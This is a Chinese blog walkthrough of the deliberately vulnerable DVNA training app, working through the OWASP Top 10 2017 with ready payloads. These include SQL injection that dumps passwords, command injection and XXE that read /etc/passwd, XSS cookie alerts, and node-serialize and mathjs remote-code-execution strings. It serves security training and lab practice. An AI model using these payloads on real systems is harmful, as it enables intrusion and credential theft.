简介:

DVNA(Damn Vulnerable Node Application),它是一款由Node.js打造的知名WEB漏洞测试平台,或许有些朋友已经使用过。它是用来给使用Node的WEB开发人员演示如何进行安全编码,以及让网络安全爱好者进行夺旗比赛的平台。其中,这个平台里包含常见的WEB漏洞,并且分级成不同层次

安装:

https://github.com/konceptz/DVNA

SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。

hacking:

A1 Injection

SQL Injection

http://127.0.0.1:9090/app/usersearch

 

Payloads:

'

' or '1'='1

'or''='

Dvna for Owasp top 10 2017 Safe 第1张

Dvna for Owasp top 10 2017 Safe 第2张

Dvna for Owasp top 10 2017 Safe 第3张

当前用户信息和数据库版本信息查询

payload:

' union select version(),1 from information_schema.tables -- //

Dvna for Owasp top 10 2017 Safe 第4张

查询账户密码:

payload:

 ' UNION SELECT password,login from Users -- //

 Dvna for Owasp top 10 2017 Safe 第5张

 

Command Injection

 

Payloads:

8.8.8.8 && cat /etc/passwd && id

hha || id

Dvna for Owasp top 10 2017 Safe 第6张

Dvna for Owasp top 10 2017 Safe 第7张

 

A2 Broken authentication

 

重置密码接口地址

http://127.0.0.1:9090/resetpw?login=<username>&token=<md5(username)>

echo -n 'admin' | md5sum

可以重置任意用户的密码

 

A3 Sensitive data exposure

 

http://127.0.0.1:9090/app/admin/users

Dvna for Owasp top 10 2017 Safe 第8张

A4 XML external entities

 

Paylaod:

<!DOCTYPE foo [<!ELEMENT foo ANY >

<!ENTITY bar SYSTEM "file:///etc/passwd" >]>

<products>

   <product>

      <name>Playstation 4</name>

      <code>274</code>

      <tags>gaming console</tags>

      <description>&bar;</description>

   </product>

</products>

 

以上内容保存成*.xml 格式的文件

Dvna for Owasp top 10 2017 Safe 第9张

A5 broken access control

 

http://127.0.0.1:9090/app/useredit

此接口可以更改任意用户的密码,只需要提供账户和邮箱地址即可

Dvna for Owasp top 10 2017 Safe 第10张

Dvna for Owasp top 10 2017 Safe 第11张

对UID没有判断,可以控制UID来修改任意用户的密码

 

A6 security misconfiguration

 

Dvna for Owasp top 10 2017 Safe 第12张

泄露网站的物理路径

Dvna for Owasp top 10 2017 Safe 第13张

 

A7 cross-site scripting

 

Reflected XSS in Search Query

payloads

<script>alert('Cookie:'+document.cookie)</script>

'><script>alert(document.cookie)</script>
 ='><script>alert(document.cookie)</script>
 <script>alert(document.cookie)</script>
 <script>alert(vulnerable)</script>

 Dvna for Owasp top 10 2017 Safe 第14张

Dvna for Owasp top 10 2017 Safe 第15张

 

Stored XSS in Product Listing

Dvna for Owasp top 10 2017 Safe 第16张

只要浏览到此页面就会触发XSS 漏洞

Dvna for Owasp top 10 2017 Safe 第17张

DOM XSS in user listing

Dvna for Owasp top 10 2017 Safe 第18张

Dvna for Owasp top 10 2017 Safe 第19张

Dvna for Owasp top 10 2017 Safe 第20张

 

A8 insecure deseriliaztion

Payload:

{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('id;cat /etc/passwd', function(error, stdout, stderr) { console.log(stdout) });}()"}

Dvna for Owasp top 10 2017 Safe 第21张

Dvna for Owasp top 10 2017 Safe 第22张

 

 

A9 Using Components with Known Vulnerabilities

 

mathjs Remote Code Execution

Payload:

cos.constructor("spawn_sync = process.binding('spawn_sync'); normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(' ');typeof a.shell==='string'?c=a.shell:c='/bin/sh',b=['-c',g];}typeof a.argv0==='string'?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+'='+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:'pipe',readable:!0,writable:!1},{type:'pipe',readable:!1,writable:!0},{type:'pipe',readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}console.log(a);var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!=='buffer')for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + 'spawnSync '+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;}")();cos.constructor("return spawnSync('id').output[1]")()

Dvna for Owasp top 10 2017 Safe 第23张

 

 

A10 Insufficient Logging and Monitoring

参考

https://appsecco.com/books/dvna-developers-security-guide/

https://github.com/appsecco/dvna

 

 

扫码关注我们
微信号:SRE实战
拒绝背锅 运筹帷幄